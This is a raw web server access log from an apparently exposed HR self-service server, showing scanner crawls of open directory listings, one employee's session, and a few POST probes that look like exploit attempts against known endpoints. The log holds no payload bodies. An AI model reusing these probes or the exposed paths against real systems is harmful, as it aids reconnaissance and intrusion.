100.64.0.1 - - [05/Sep/2025:05:17:32 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [05/Sep/2025:05:17:32 +0800] "\x03" 501 203
100.64.0.1 - - [05/Sep/2025:05:18:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:05:18:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:05:23:30 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406 "-" "Dalvik/2.1.0 (Linux; U; Android 12; JAD-AL00 Build/HUAWEIJAD-AL00)"
100.64.0.1 - - [05/Sep/2025:05:23:30 +0800] "GET /ehr/img/ares.ico HTTP/1.1" 200 1406
100.64.0.1 - - [05/Sep/2025:05:29:06 +0800] "GET / HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [05/Sep/2025:05:29:06 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:05:29:10 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:05:29:10 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:10 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [05/Sep/2025:05:29:10 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:11 +0800] "PRI * HTTP/2.0" 400 226 "-" "-"
100.64.0.1 - - [05/Sep/2025:05:29:11 +0800] "PRI * HTTP/2.0" 400 226
100.64.0.1 - - [05/Sep/2025:05:29:18 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:18 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:05:29:19 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265
100.64.0.1 - - [05/Sep/2025:05:29:19 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:20 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [05/Sep/2025:05:29:20 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282
100.64.0.1 - - [05/Sep/2025:05:29:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217
100.64.0.1 - - [05/Sep/2025:05:29:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286
100.64.0.1 - - [05/Sep/2025:05:29:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392
100.64.0.1 - - [05/Sep/2025:05:29:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287
100.64.0.1 - - [05/Sep/2025:05:29:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398
100.64.0.1 - - [05/Sep/2025:05:29:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286
100.64.0.1 - - [05/Sep/2025:05:29:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780
100.64.0.1 - - [05/Sep/2025:05:29:23 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:26 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289
100.64.0.1 - - [05/Sep/2025:05:29:26 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:26 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526
100.64.0.1 - - [05/Sep/2025:05:29:26 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294
100.64.0.1 - - [05/Sep/2025:05:29:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813
100.64.0.1 - - [05/Sep/2025:05:29:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301
100.64.0.1 - - [05/Sep/2025:05:29:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771
100.64.0.1 - - [05/Sep/2025:05:29:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297
100.64.0.1 - - [05/Sep/2025:05:29:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525
100.64.0.1 - - [05/Sep/2025:05:29:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:30 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289
100.64.0.1 - - [05/Sep/2025:05:29:30 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399
100.64.0.1 - - [05/Sep/2025:05:29:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308
100.64.0.1 - - [05/Sep/2025:05:29:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 308 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241
100.64.0.1 - - [05/Sep/2025:05:29:31 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:32 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312
100.64.0.1 - - [05/Sep/2025:05:29:32 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:32 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528
100.64.0.1 - - [05/Sep/2025:05:29:32 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:33 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312
100.64.0.1 - - [05/Sep/2025:05:29:33 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8 HTTP/1.1" 301 312 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:33 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528
100.64.0.1 - - [05/Sep/2025:05:29:33 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8/ HTTP/1.1" 200 528 "http://222.92.19.198:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc8" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:34 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:34 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273
100.64.0.1 - - [05/Sep/2025:05:29:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099
100.64.0.1 - - [05/Sep/2025:05:29:34 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275
100.64.0.1 - - [05/Sep/2025:05:29:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:37 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [05/Sep/2025:05:29:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281
100.64.0.1 - - [05/Sep/2025:05:29:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:38 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449
100.64.0.1 - - [05/Sep/2025:05:29:43 +0800] "PRI * HTTP/2.0" 400 226 "-" "-"
100.64.0.1 - - [05/Sep/2025:05:29:43 +0800] "PRI * HTTP/2.0" 400 226
100.64.0.1 - - [05/Sep/2025:05:29:43 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [05/Sep/2025:05:29:43 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:29:45 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [05/Sep/2025:05:29:45 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [05/Sep/2025:05:39:47 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:05:39:47 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:05:45:31 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:05:45:31 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:05:56:17 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:05:56:17 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:05:57:17 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:05:57:17 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:06:07:39 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:06:07:39 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:06:09:35 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:06:09:35 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:06:10:53 +0800] "GET / HTTP/1.0" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
100.64.0.1 - - [05/Sep/2025:06:10:53 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [05/Sep/2025:06:25:46 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0"
100.64.0.1 - - [05/Sep/2025:06:25:46 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [05/Sep/2025:06:32:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:06:32:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:06:33:03 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:06:33:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:06:33:48 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:06:33:48 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:06:35:12 +0800] "POST /send_order.cgi?parameter=operation HTTP/1.1" 404 212
100.64.0.1 - - [05/Sep/2025:06:35:12 +0800] "POST /send_order.cgi?parameter=operation HTTP/1.1" 404 212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:06:37:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:06:37:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:01:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:01:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:03:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:03:54 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:15:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:15:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:15:38 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:15:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:07:25:45 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:07:25:45 +0800] "GET / HTTP/1.1" 200 439
192.168.40.39 - - [05/Sep/2025:07:25:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.39 - - [05/Sep/2025:07:25:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:25:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:25:54 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:25:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.40.39 - - [05/Sep/2025:07:25:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:25:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:25:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
192.168.40.39 - - [05/Sep/2025:07:26:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16079 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 16079
192.168.40.39 - - [05/Sep/2025:07:26:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131075%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131075&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131075%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131075&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:07:26:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
